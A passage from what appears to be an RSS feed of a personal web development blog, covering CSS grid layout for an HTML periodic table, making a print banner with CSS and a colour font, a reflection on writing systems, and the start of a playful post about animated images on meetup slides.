&lt;p&gt;If I&apos;d set the &lt;code&gt;grid-auto-flow&lt;/code&gt; value to &lt;code&gt;dense&lt;/code&gt;, then the auto-placement algorithm would have packed the grid items without explicit grid column positions into the spaces and we&apos;d end up with something like this:&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/grid-placement/dense-480.png 480w, /images/posts/grid-placement/dense-640.png 640w, /images/posts/grid-placement/dense-960.png 960w, /images/posts/grid-placement/dense-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/grid-placement/dense-640.png&quot; alt=&quot;Auto-placed grid items get packed into unoccupied cells when grid-auto-flow gets set to dense&quot;&gt;
&lt;h2&gt;Fallbacks and narrow viewports&lt;/h2&gt;
&lt;p&gt;By now, I&apos;ve already gotten used to catering for browsers which don&apos;t support grid, as well as for viewports in which my target design simply just won&apos;t work. I&apos;m going to walk through my thought process for this as well.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/grid-placement/wide-480.png 480w, /images/posts/grid-placement/wide-640.png 640w, /images/posts/grid-placement/wide-960.png 960w, /images/posts/grid-placement/wide-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/grid-placement/wide-640.png&quot; alt=&quot;The original target design only works well on a wide viewport&quot;&gt;
&lt;p&gt;After doing some window re-sizing, I found that the design warped at widths below 1280px, so that was the basis for the min-width media query. The positioned grid items only kick in when the viewport width is more than 1280px wide.&lt;/p&gt;
&lt;p&gt;Any smaller than that, all the elements are auto-placed by the algorithm, so it looks like a standard grid of HTML elements. In this case, I didn&apos;t need to fix how many columns the grid ought to be. Instead I let the browser figure it out with the help of the &lt;code&gt;auto-fit&lt;/code&gt; keyword.&lt;/p&gt;
&lt;p&gt;To ensure I didn&apos;t have any funky whitespaces on either edge of the grid, I made the colunn width a range between &lt;code&gt;10ch&lt;/code&gt; and &lt;code&gt;1fr&lt;/code&gt;, which made the elements always take up the full width of the viewport no matter how the size changed.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.elements {
  display: grid;
  grid-template-columns: repeat(auto-fit, minmax(10ch, 1fr));
  gap: 0.2em;

  a {
    padding: 1em 0;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Look ma, no funky spaces!&lt;/figcaption&gt;
    &lt;video controls autoplay muted loop&gt;
      &lt;source src=&quot;/videos/gp-1fr.mp4&quot; type=&quot;video/mp4&quot; /&gt;
      Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded videos,
      but don&apos;t worry, you can &lt;a href=&quot;/videos/gp-1fr.mp4&quot;&gt;download it&lt;/a&gt;and watch it with your
      favourite video player!
    &lt;/video&gt;
&lt;/figure&gt;
&lt;p&gt;And then, the browsers that don&apos;t support Grid. I chose to fallback to a flex-based layout, but you can also go for floats or inline-block, if you&apos;d like to. The gist of the matter here is the feature query.&lt;/p&gt;
&lt;p&gt;All the grid-related code gets wrapped up into a feature query like so, &lt;strong&gt;including&lt;/strong&gt; the media query:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;@supports (display: grid) {
  .elements {
    display: grid;
    grid-template-columns: repeat(auto-fit, minmax(10ch, 1fr));
    gap: 0.2em;

    a {
      padding: 1em 0;
    }
  }

  @media screen and (min-width: 1280px) {
    .elements {
      grid-template-columns: repeat(40, 5ch);
      grid-template-rows: repeat(10, auto);

      a {
        grid-column: span 2;
        margin: 0;
      }
    }

    a.col5 {
      grid-column: 9 / span 2;
    }
    a.col8 {
      grid-column: 15 / span 2;
    }
    a.col11 {
      grid-column: 21 / span 2;
    }
    a.col15 {
      grid-column: 29 / span 2;
    }
    a.col20 {
      grid-column: 39 / span 2;
    }

    a.h1 {
      grid-column: 27 / span 2;
    }
    a.h4 {
      grid-column: 24 / span 2;
    }
    a.h3 {
      grid-column: 25 / span 2;
    }
    a.html {
      grid-column: 20 / span 2;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The base styles, which live outside the feature query, will take care of the browsers that do not have Grid support. And if you want to test how this looks, comment out the entire feature query block.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-scss&quot;&gt;.elements {
  font-family: &amp;quot;Medula One&amp;quot;, serif;
  display: flex;
  flex-wrap: wrap;
  justify-content: center;

  a {
    padding: 1em;
    flex: none;
    margin: 0.25em;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For browsers that do not support feature queries, that is essentially what happens anyway because the browser will ignore the entire block within the feature query.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/grid-placement/flex-480.png 480w, /images/posts/grid-placement/flex-640.png 640w, /images/posts/grid-placement/flex-960.png 960w, /images/posts/grid-placement/flex-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/grid-placement/flex-640.png&quot; alt=&quot;Fallback layout implemented with flexbox&quot;&gt;
&lt;h2&gt;Sprinkle on some JavaScript&lt;/h2&gt;
&lt;p&gt;Okay, here I want to give credit to &lt;a href=&quot;https://www.madebymike.com.au/&quot;&gt;Mike Riethmuller&lt;/a&gt;, who created a really nice version of the &lt;a href=&quot;https://web.archive.org/web/20190323075856/https://www.madebymike.com.au/demos/html5-periodic-table/&quot;&gt;HTML periodic table&lt;/a&gt; as well. It&apos;s much prettier than mine, PLUS, it has a definition feature.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/grid-placement/mike-480.png 480w, /images/posts/grid-placement/mike-640.png 640w, /images/posts/grid-placement/mike-960.png 960w, /images/posts/grid-placement/mike-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/grid-placement/mike-640.png&quot; alt=&quot;Mike Riethmuller&apos;s implementation of the HTML periodic table of elements that showed the definition of the element when clicked on&quot;&gt;
&lt;p&gt;There was also a legend, as the elements were classified into several categories. When you hovered over the category name, the relevant elements would be highlighted as well. Very nice, and I wanted to do the same for my periodic table too.&lt;/p&gt;
&lt;p&gt;The displaying of definitions wasn&apos;t too tricky. It made use of the &lt;code&gt;:target&lt;/code&gt; pseudo-class, so when you clicked on any of the elements in the table, its definition would be displayed below the table. You have to match the anchor link on the element to the id of the element containing its definition so the URL fragment matches up.&lt;/p&gt;
&lt;p&gt;Take this markup, for example:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;a href=&amp;quot;#ruby&amp;quot; class=&amp;quot;txt-lvl&amp;quot;&amp;gt;ruby&amp;lt;/a&amp;gt;

&amp;lt;div id=&amp;quot;ruby&amp;quot;&amp;gt;
  &amp;lt;dt&amp;gt;&amp;lt;a href=&amp;quot;https://developer.mozilla.org/en/docs/Web/HTML/Element/ruby&amp;quot;&amp;gt;&amp;amp;lt;ruby&amp;amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/dt&amp;gt;
  &amp;lt;dd&amp;gt;
    &amp;lt;p&amp;gt;
      The HTML &amp;lt;code&amp;gt;&amp;amp;lt;ruby&amp;amp;gt;&amp;lt;/code&amp;gt; Element represents a ruby annotation. Ruby annotations are
      for showing pronunciation of East Asian characters.
    &amp;lt;/p&amp;gt;
    &amp;lt;p&amp;gt;
      &amp;lt;a class=&amp;quot;moz-link&amp;quot; href=&amp;quot;https://developer.mozilla.org/en/docs/Web/HTML/Element/ruby&amp;quot;
        &amp;gt;https://developer.mozilla.org/en/docs/Web/HTML/Element/ruby&amp;lt;/a
      &amp;gt;
    &amp;lt;/p&amp;gt;
  &amp;lt;/dd&amp;gt;
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You&apos;d make it work with the following CSS:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;div {
  padding: 1em;
  text-align: left;
  display: none;
}

div:target {
  display: block;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The JavaScript bit comes in for the hover highlight function. And what it does is add a CSS class to the body element so the relevant elements in the selected category get a background colour change.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;Array.prototype.forEach.call(document.querySelectorAll(&amp;quot;.legend li&amp;quot;), (li) =&amp;gt; {
  li.addEventListener(
    &amp;quot;mouseenter&amp;quot;,
    function () {
      document.body.classList.add(&amp;quot;hover-&amp;quot; + this.className);
    },
    false
  );
  li.addEventListener(
    &amp;quot;mouseleave&amp;quot;,
    function () {
      document.body.classList.remove(&amp;quot;hover-&amp;quot; + this.className);
    },
    false
  );
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I had 11 categories so I cheated and used Sass to generate the CSS needed for this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-scss&quot;&gt;$colours: (
  root: #7b9de1,
  scripting: #749eef,
  int-elem: #5186ed,
  meta: #2b6dec,
  edits: #155eea,
  tab-data: #024ee0,
  grp-cont: #0242bc,
  emb-cont: #00369c,
  forms: #0202ca,
  sections: #000080,
  txt-lvl: #010151,
);

@each $class, $colour in $colours {
  .#{$class} {
    background-color: #{$colour};
    color: white;
  }

  .hover-#{$class} {
    .#{$class} {
      background-color: #fdb35f;
      color: black;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;And that&apos;s pretty much it. This ended up a longer post than I expected but I hope it shed some light on some of the CSS techniques used to implement this HTML periodical table. If you&apos;d like to dig into the code yourself and tweak it around, here&apos;s the CodePen:&lt;/p&gt;
&lt;p class=&quot;codepen&quot; data-height=&quot;400&quot; data-theme-id=&quot;9162&quot; data-default-tab=&quot;result&quot; data-user=&quot;huijing&quot; data-slug-hash=&quot;wOXzNx&quot; style=&quot;height: 388px; box-sizing: border-box; display: flex; align-items: center; justify-content: center; border: 2px solid; margin: 1em 0; padding: 1em;&quot; data-pen-title=&quot;HTML periodical table (built with CSS grid)&quot;&gt;
  &lt;span&gt;See the Pen &lt;a href=&quot;https://codepen.io/huijing/pen/wOXzNx/&quot;&gt;
  HTML periodical table (built with CSS grid)&lt;/a&gt; by Chen Hui Jing (&lt;a href=&quot;https://codepen.io/huijing&quot;&gt;@huijing&lt;/a&gt;)
  on &lt;a href=&quot;https://codepen.io&quot;&gt;CodePen&lt;/a&gt;.&lt;/span&gt;
&lt;/p&gt;
&lt;p&gt;Happy CSS-ing!&lt;/p&gt;
</content:encoded></item><item><title>Using CSS to make a print banner</title><link>https://chenhuijing.com/blog/using-css-to-make-a-print-banner/</link><guid isPermaLink="true">https://chenhuijing.com/blog/using-css-to-make-a-print-banner/</guid><description>I talk about the web. I talk about the web a lot. But sometimes, we need stuff made in the physical world. Sometimes, we need a banner. Banners can be designed…</description><pubDate>Sun, 07 Apr 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I talk about the web. I talk about the web &lt;a href=&quot;/talks&quot;&gt;a lot&lt;/a&gt;. But sometimes, we need stuff made in the physical world. Sometimes, we need a banner. Banners can be designed more ways than Sunday, but usually, your friendly neighbourhood printer will ask for some sort of digital file. Maybe an SVG or a high-resolution PNG, even PDF.&lt;/p&gt;
&lt;p&gt;Whatever the format, the key to a decent print banner is the resolution of the file. Even though the end result is largely dependent on the materials use to produce the banner, a high resolution base image would definitely help the cause.&lt;/p&gt;
&lt;p&gt;The thing is, I came across this font called &lt;a href=&quot;https://www.typewithpride.com/&quot;&gt;Gilbert&lt;/a&gt;, and instantly fell in love with it. It is a &lt;a href=&quot;https://www.colorfonts.wtf/&quot;&gt;colour font&lt;/a&gt;, created to honour the memory of &lt;a href=&quot;https://gilbertbaker.com/&quot;&gt;Gilbert Baker&lt;/a&gt;, LGBTQ activist and artist, creator of the iconic Rainbow Flag.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/css-banner/gilbert-480.jpg 480w, /images/posts/css-banner/gilbert-640.jpg 640w, /images/posts/css-banner/gilbert-960.jpg 960w, /images/posts/css-banner/gilbert-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/css-banner/gilbert-640.jpg&quot; alt=&quot;Gilbert font sample&quot;&gt;
&lt;h2&gt;Using colour fonts in general&lt;/h2&gt;
&lt;p&gt;In 2017, there was no &lt;a href=&quot;http://CSSConf.Asia&quot;&gt;CSSConf.Asia&lt;/a&gt; (neither will there be on in 2019, unfortunately). So &lt;a href=&quot;https://twitter.com/cliener&quot;&gt;Chris&lt;/a&gt; and I somehow came up with this hare-brained idea to have a mini half-day conference style CSS event. I called it the &lt;a href=&quot;https://singaporecss.github.io/24/&quot;&gt;Talk.CSS &lt;code&gt;max-content&lt;/code&gt; edition&lt;/a&gt;, because you know, maximum content? Look, naming things is hard.&lt;/p&gt;
&lt;p&gt;I thought it was the perfect opportunity to use Gilbert for the text &lt;code&gt;max-content&lt;/code&gt;. Subtly colourful was what I was going for. Things went well on the website itself. The way colour fonts work, even if the browser doesn’t support colour fonts, the typeface still renders and displays, just solid black instead of in colour.&lt;/p&gt;
&lt;p&gt;Gilbert&apos;s colour font version came in OpenType (&lt;code&gt;.otf&lt;/code&gt;), so it wasn&apos;t hard to style the words &lt;code&gt;max-content&lt;/code&gt; to use it. I then wanted to create banner images for the social medias and realised that I couldn&apos;t. My broke ass clearly did not own a single Adobe product, and at the time (before 23 Jan 2018), Photoshop and maybe Illustrator were the only applications that supported colour fonts.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Note: the situation is much better now with at least 7 applications that support OpenType-SVG fonts. For more information, check out &lt;a href=&quot;https://www.colorfonts.wtf/&quot;&gt;colorfonts.wtf&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Using the colour font for social media images&lt;/h2&gt;
&lt;p&gt;I only had Sketch on my computer, and that was a no-go. But I also realised I was using a retina display, and hence could take relatively high resolution screenshots. I also really liked doing all kinds of stuff with CSS. A modern browser and some CSS is just as good as Photoshop for my purposes.&lt;/p&gt;
&lt;p&gt;So the first pass of using the browser as a screenshot generator was for banner images to use with Twitter and Facebook. Layout was naturally done with CSS grid. And the setup wasn&apos;t too complicated, looks something like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;main&amp;gt;
  &amp;lt;p&amp;gt;SingaporeCSS presents&amp;lt;/p&amp;gt;
  &amp;lt;img src=&amp;quot;../assets/img/logo.svg&amp;quot; /&amp;gt;
  &amp;lt;div&amp;gt;
    &amp;lt;h1&amp;gt;Talk.CSS&amp;lt;/h1&amp;gt;
    &amp;lt;code&amp;gt;max-content&amp;lt;/code&amp;gt;
  &amp;lt;/div&amp;gt;
  &amp;lt;p&amp;gt;⭐️ January 23, 2018 ⭐️&amp;lt;/p&amp;gt;
&amp;lt;/main&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I kept everything on 1 single &lt;code&gt;index.html&lt;/code&gt;, which meant the styles were within a &lt;code&gt;&amp;lt;style&amp;gt;&lt;/code&gt; tag in the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;. There weren&apos;t that many styles anyway. But the plus of using CSS for layout is, well, you know, access to the box alignment properties, Flexbox and Grid, viewport units and all that delicious good stuff.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;html {
  box-sizing: border-box;
}

*,
*::before,
*::after {
  box-sizing: inherit;
  margin: 0;
  padding: 0;
}

body {
  height: 100vh;
  background-image: url(&amp;quot;../assets/img/tile.png&amp;quot;);
  background-repeat: repeat;
  background-size: 12em;
  display: flex;
}

main {
  display: grid;
  margin: auto;
  grid-template-columns: min-content max-content;
  grid-template-rows: min-content 1fr min-content;
  grid-template-areas:
    &amp;quot;a a&amp;quot;
    &amp;quot;b c&amp;quot;
    &amp;quot;d d&amp;quot;;
  grid-gap: 1em;
  justify-content: center;
  align-items: center;
  text-align: center;
  transform: scale(0.6);
}

p {
  font-family: &amp;quot;iA Writer Duospace&amp;quot;;
  font-size: 3em;
  line-height: 1;
  color: #1572b6;
}

p:first-child {
  grid-area: a;
}

p:last-child {
  grid-area: d;
}

img {
  margin: auto;
  height: 45vh;
  grid-area: b;
}

div {
  grid-area: c;
}

h1 {
  font-family: &amp;quot;iA Writer Duospace&amp;quot;;
  font-size: 7em;
  line-height: 1;
}

code {
  font-family: &amp;quot;Gilbert Color&amp;quot;;
  font-size: 10em;
  line-height: 1;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Grid template areas are my preferred technique of choice for such things, because I&apos;m too lazy to keep track of row and column numbers. Also, because I already had all the needed fonts installed locally on my computer, I didn&apos;t even bother with fallback fonts.&lt;/p&gt;
&lt;p&gt;I think if you manage to find the file on the interwebs, unless you have &lt;a href=&quot;https://ia.net/topics/in-search-of-the-perfect-writing-font&quot;&gt;iA Writer Duospace&lt;/a&gt; and Gilbert Colour both installed on your machine, it&apos;s not going to look that pretty. But the file(s) are for my own use anyway, so I don&apos;t really care… &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;crazy eyes face&quot;&gt;🤪&lt;/span&gt;&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/css-banner/banner-480.jpg 480w, /images/posts/css-banner/banner-640.jpg 640w, /images/posts/css-banner/banner-960.jpg 960w, /images/posts/css-banner/banner-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/css-banner/banner-640.jpg&quot; alt=&quot;Banner ready for screenshotting purposes&quot;&gt;
&lt;p&gt;Most of the adjustments could be made on the fly directly from DevTools itself as well, so it wasn&apos;t all that hard to get a number of different sizes for the different social medias.&lt;/p&gt;
&lt;h2&gt;Using the colour font for pull-up banners&lt;/h2&gt;
&lt;p&gt;We managed to get an anonymous angel donor, and so had the budget to get 2 pull-up banners printed. There was a standard sizing, I can’t really remember the exact numbers. But the width to height ratio was something like 600mm × 1700mm.&lt;/p&gt;
&lt;p&gt;Anyway, I was wondering how to the get the resolution higher than that of my 2560 × 1600 screen when I realised, there’s nothing restricting me from setting sizes larger than 100vw.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;html {
  box-sizing: border-box;
}

*,
*::before,
*::after {
  box-sizing: inherit;
  margin: 0;
  padding: 0;
}

body {
  height: 425vw;
  width: 150vw;
  background-image: url(&amp;quot;../assets/img/tile.png&amp;quot;);
  background-repeat: repeat;
  background-size: 40vw;
  display: flex;
  text-align: center;
}

main {
  width: 100%;
}

img {
  height: 95vh;
}

h1 {
  font-family: &amp;quot;iA Writer Duospace&amp;quot;;
  font-size: 20vw;
  line-height: 1;
  margin-bottom: 0.25em;
  padding-top: 45%;
}

code {
  display: block;
  font-family: &amp;quot;Gilbert Color&amp;quot;;
  font-size: 24vw;
  line-height: 1;
  margin-bottom: 0.75em;
}

h2 {
  font-family: &amp;quot;iA Writer Duospace&amp;quot;;
  font-size: 10vw;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;All the assets were either SVG images or text, which could also be sized with viewport units. So I blew up the whole thing to be 150vw × 425vw and adjusted all the images and text sizes until it looked decent. Yes, I eye-balled the design, sue me.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/css-banner/standee-480.jpg 480w, /images/posts/css-banner/standee-640.jpg 640w, /images/posts/css-banner/standee-960.jpg 960w, /images/posts/css-banner/standee-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/css-banner/standee-640.jpg&quot; alt=&quot;Firefox&apos;s screenshot tool&quot;&gt;
&lt;p&gt;The best part is that Firefox has a &lt;a href=&quot;https://support.mozilla.org/en-US/kb/firefox-screenshots&quot;&gt;built-in screenshot tool&lt;/a&gt; which could export the full page and not just the visible areas, so I ended up with a file that was 2160px  ×  6120px and could probably do more adjustments if necessary.&lt;/p&gt;
&lt;h2&gt;End result&lt;/h2&gt;
&lt;p&gt;To our surprise, and we at &lt;a href=&quot;https://singaporecss.github.io&quot;&gt;SingaporeCSS&lt;/a&gt; are known for having very little expectations in general, the end result was pretty decent. Considering we hadn&apos;t planned on even having these banners in the first place, and went for the most budget option we could find, this is an A-plus result!&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Chris&apos;s son AKA mini Chris included for scale&lt;/figcaption&gt;
  &lt;img src=&quot;/images/posts/css-banner/standee.jpg&quot; srcset=&quot;/images/posts/css-banner/standee@2x.jpg 2x&quot; alt=&quot;Standee printed IRL&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;It&apos;s only apt that the CSS meetup uses CSS to generate all the things. But remember, viewport units are not limited to the viewport alone.&lt;/p&gt;
&lt;p&gt;CSS all the things!&lt;/p&gt;
&lt;p&gt;(Or maybe not…you do you)&lt;/p&gt;
</content:encoded></item><item><title>A short musing on writing systems</title><link>https://chenhuijing.com/blog/short-musing-on-writing-systems/</link><guid isPermaLink="true">https://chenhuijing.com/blog/short-musing-on-writing-systems/</guid><description>As I continued to work on my talk for JSHeroes (come say hi if you see me there), I couldn&apos;t help but remember the amazing 24-hour Alphabettes hangout for…</description><pubDate>Fri, 05 Apr 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;As I continued to work on my talk for &lt;a href=&quot;https://jsheroes.io/&quot;&gt;JSHeroes&lt;/a&gt; (come say hi if you see me there), I couldn&apos;t help but remember the amazing &lt;a href=&quot;https://www.alphabettes.org/24-hour-hangout/&quot;&gt;24-hour Alphabettes hangout&lt;/a&gt; for International Women&apos;s Day that happened a couple of weeks ago.&lt;/p&gt;
&lt;p&gt;It was real nice to just chat with some of the &apos;Bettes about typography, conferences and whatever random topics that popped up. One of the conversations we had sort of veered toward non-Latin scripts (we are still trying and failing to come up with a far better term) and I put in my off-the-cuff 2 cents. But those thoughts hadn&apos;t gone away over time, and the words have to go somewhere, so here they are.&lt;/p&gt;
&lt;p&gt;Writing systems started off on a fairly even playing field. You needed a writing implement and a surface to write on. Everything else came about from human ingenuity. There&apos;s something about the freedom to create a physical manifestation of our thoughts, feelings and ideas.&lt;/p&gt;
&lt;p&gt;It is quite something that we developed a system of communication through sounds generated from the vibration of our larynxes (how did that even happen?). But to be able to capture something as ethereal as a sound or an emotion and record it onto something physical, that we can see and feel. That, is something else.&lt;/p&gt;
&lt;p&gt;But when printing came along, something shifted a little. Printing is the process of mechanical reproduction via some form of template or master source. A create-once-replicate-many type of situation. Woodblock printing was pioneered and polished to near perfection by the Chinese. Moveable type, which was also a Chinese invention, did not fair as well with the Chinese language in genereal.&lt;/p&gt;
&lt;p&gt;Printing with moveable type is a technique that best suits alphabetic writing scripts, or at least scripts with discrete alphabets and no significant variation regardless of glyph position. But writing systems are more than just a means of communication, they are also a reflection of a people&apos;s culture, their spirituality, even their soul. With so many different communities across the world, it is only natural that there are thousands of different languages and writing systems.&lt;/p&gt;
&lt;p&gt;Moveable type highlighted the differences between the writing systems. An ideographic language like Chinese which require thousands of glyphs for any extensive writing is not a good candidate for moveable type printing. The calligraphic style of Arabic writing also resulted in efforts to reduce the number of variations of letters and diacritical marks.&lt;/p&gt;
&lt;p&gt;To me, these typographical compromises are akin to having the finest sculptures in the world caked in dirt and mud. I cannot help but wonder what would have happened if every respective culture was allowed to progress at their own pace.&lt;/p&gt;
&lt;p&gt;I&apos;m not saying that trade and exchange of ideas is a bad thing and should not have happened. On the contrary, I think that it is precisely the exchange of ideas that makes our world better. But human history has always been littered with violent takeovers and forced assimilations.&lt;/p&gt;
&lt;p&gt;I expect many people to disagree with me, but I think that the world we are living in now is simply one of a myriad of possibilities. That we are living in the culmination of a series of insignificant events which had a domino-effect over human history. Regardless, here we are today.&lt;/p&gt;
&lt;p&gt;Today.&lt;/p&gt;
&lt;p&gt;Right now, I am typing these words on the keyboard of my computer, and seeing these letters appear across my electronic screen as pixels of light. Sometimes I wonder why I&apos;m not more amazed that this is possible. Because it really is extraordinary. But I take a lot of things for granted most of the time.&lt;/p&gt;
&lt;p&gt;Change is inevitable, and our rate of change seems to be speeding up. We can either choose to fight against it and get swept away anyway, or flow with the tide and learn to work with it.&lt;/p&gt;
&lt;p&gt;I think the digital age presents an opportunity clean off the dirt and mud off scripts that have long had to compromise to “get with the times”. Our digital age is the age of light and electronic signals. There are far fewer limitations as compared to a physical medium like moveable type.&lt;/p&gt;
&lt;p&gt;If the virtual world is being touted as a realm with limitless possibilities, then it should be reasonable to expect that all our scripts can be restored to their full artistic glory in the digital world.&lt;/p&gt;
&lt;p&gt;I suppose these words are simply not enough to capture the depth of emotion I feel when I think about such things, but for now, these words will have to do.&lt;/p&gt;
</content:encoded></item><item><title>CSS variables for fun and no profit</title><link>https://chenhuijing.com/blog/css-variables-for-fun-and-no-profit/</link><guid isPermaLink="true">https://chenhuijing.com/blog/css-variables-for-fun-and-no-profit/</guid><description>I run a little monthly CSS meet-up called Talk.CSS, and the man who founded this endeavour with me one fine October morning back in 2015, had moved back to…</description><pubDate>Thu, 28 Mar 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I run a &lt;a href=&quot;https://singaporecss.github.io&quot;&gt;little monthly CSS meet-up&lt;/a&gt; called Talk.CSS, and the man who founded this endeavour with me one fine October morning back in 2015, had moved back to Melbourne. That man is &lt;a href=&quot;https://twitter.com/cliener&quot;&gt;Chris Lienert&lt;/a&gt;, and below is his handsome profile. So handsome that he is sometimes mistaken for Hawkeye. &lt;span class=&quot;kaomoji&quot;&gt;¯\_(ツ)_/¯&lt;/span&gt;&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Uncanny…squint and they could be twins&lt;/figcaption&gt;
  &lt;img src=&quot;/images/posts/chris-script/hawkeye.jpg&quot; srcset=&quot;/images/posts/chris-script/hawkeye@2x.jpg 2x&quot; alt=&quot;Chris profile photo next to Hawkeye profile photo&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;The background of what shall be now termed as “The Chris Script” (trademark pending) goes something like this. During the first meetup of 2019, which was the first one that took place after Chris&apos;s farewell, I had the dumb idea of putting up a profile photo of Chris on an iPad next to me while I introduced the meetup.&lt;/p&gt;
&lt;p&gt;But then, I couldn&apos;t really find a high-resolution photo of Chris online, and my iPad didn&apos;t fare too well as a photo frame. Out of the blue, I got a better idea. Simply the best. Better than all the rest. Why not have Chris heads randomly popping up from all directions on the &lt;a href=&quot;https://singaporecss.github.io/talk.css&quot;&gt;Talk.CSS introduction slides&lt;/a&gt;?&lt;/p&gt;
&lt;h2&gt;Implementing the Chris script&lt;/h2&gt;
&lt;p&gt;The most important thing as this point was to request a high resolution profile photo of the man himself, which Chris gamely provided, having no idea what I was going to do with it. His faith is admirable. After a bit of minor cropping, I had on my hands a lovely Chris head image.&lt;/p&gt;
&lt;p&gt;My first idea was to load 1 Chris head on the site, offset it out of frame to start with, then randomly translate/rotate it back into the viewport so it looked like the head would peek in from all sides after some predefined length of time. Turns out this was harder than expected, given the combination of &lt;code&gt;translateX&lt;/code&gt;, &lt;code&gt;translateY&lt;/code&gt; and &lt;code&gt;rotate&lt;/code&gt; values.&lt;/p&gt;
&lt;p&gt;Eventually I decided to go with 4 Chris heads instead. I&apos;m fairly sure someone smarter than me can do it with 1 Chris head, but my brain couldn&apos;t figure it out and seriously, I have a day job, you know. Like I mentioned earlier, 3 transform values are involved here.&lt;/p&gt;
&lt;p&gt;If you&apos;re interested in how the slides themselves were built, I &lt;a href=&quot;/blog/html-slides-without-frameworks/&quot;&gt;wrote a little something&lt;/a&gt; a while back which covers it, so give it a look if you&apos;re curious. To that, I added a &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; at the bottom of the page with the 4 Chris heads like so:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;div class=&amp;quot;nonsense&amp;quot; id=&amp;quot;nonsense&amp;quot;&amp;gt;
  &amp;lt;img
    class=&amp;quot;chris-top jsChris&amp;quot;
    src=&amp;quot;img/chris.png&amp;quot;
    srcset=&amp;quot;img/chris@2x.png 2x&amp;quot;
    alt=&amp;quot;The one and only Chris Lienert&amp;quot;
  /&amp;gt;
  &amp;lt;img
    class=&amp;quot;chris-right jsChris&amp;quot;
    src=&amp;quot;img/chris.png&amp;quot;
    srcset=&amp;quot;img/chris@2x.png 2x&amp;quot;
    alt=&amp;quot;The one and only Chris Lienert&amp;quot;
  /&amp;gt;
  &amp;lt;img
    class=&amp;quot;chris-bottom jsChris&amp;quot;
    src=&amp;quot;img/chris.png&amp;quot;
    srcset=&amp;quot;img/chris@2x.png 2x&amp;quot;
    alt=&amp;quot;The one and only Chris Lienert&amp;quot;
  /&amp;gt;
  &amp;lt;img
    class=&amp;quot;chris-left jsChris&amp;quot;
    src=&amp;quot;img/chris.png&amp;quot;
    srcset=&amp;quot;img/chris@2x.png 2x&amp;quot;
    alt=&amp;quot;The one and only Chris Lienert&amp;quot;
  /&amp;gt;
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Class name and ID are &lt;code&gt;nonsense&lt;/code&gt; because that&apos;s exactly what this idea is. Nonsense. But loads of fun, and that&apos;s all that matters. There would definitely be some JavaScript involved, and what I like to do is make sure my JavaScript-related CSS classes are only used for that purpose. For me, I choose to prefix them with a &lt;code&gt;js&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;CSS-y bits&lt;/h3&gt;
&lt;p&gt;The initial set up for the 4 Chris heads are as follows:&lt;/p&gt;
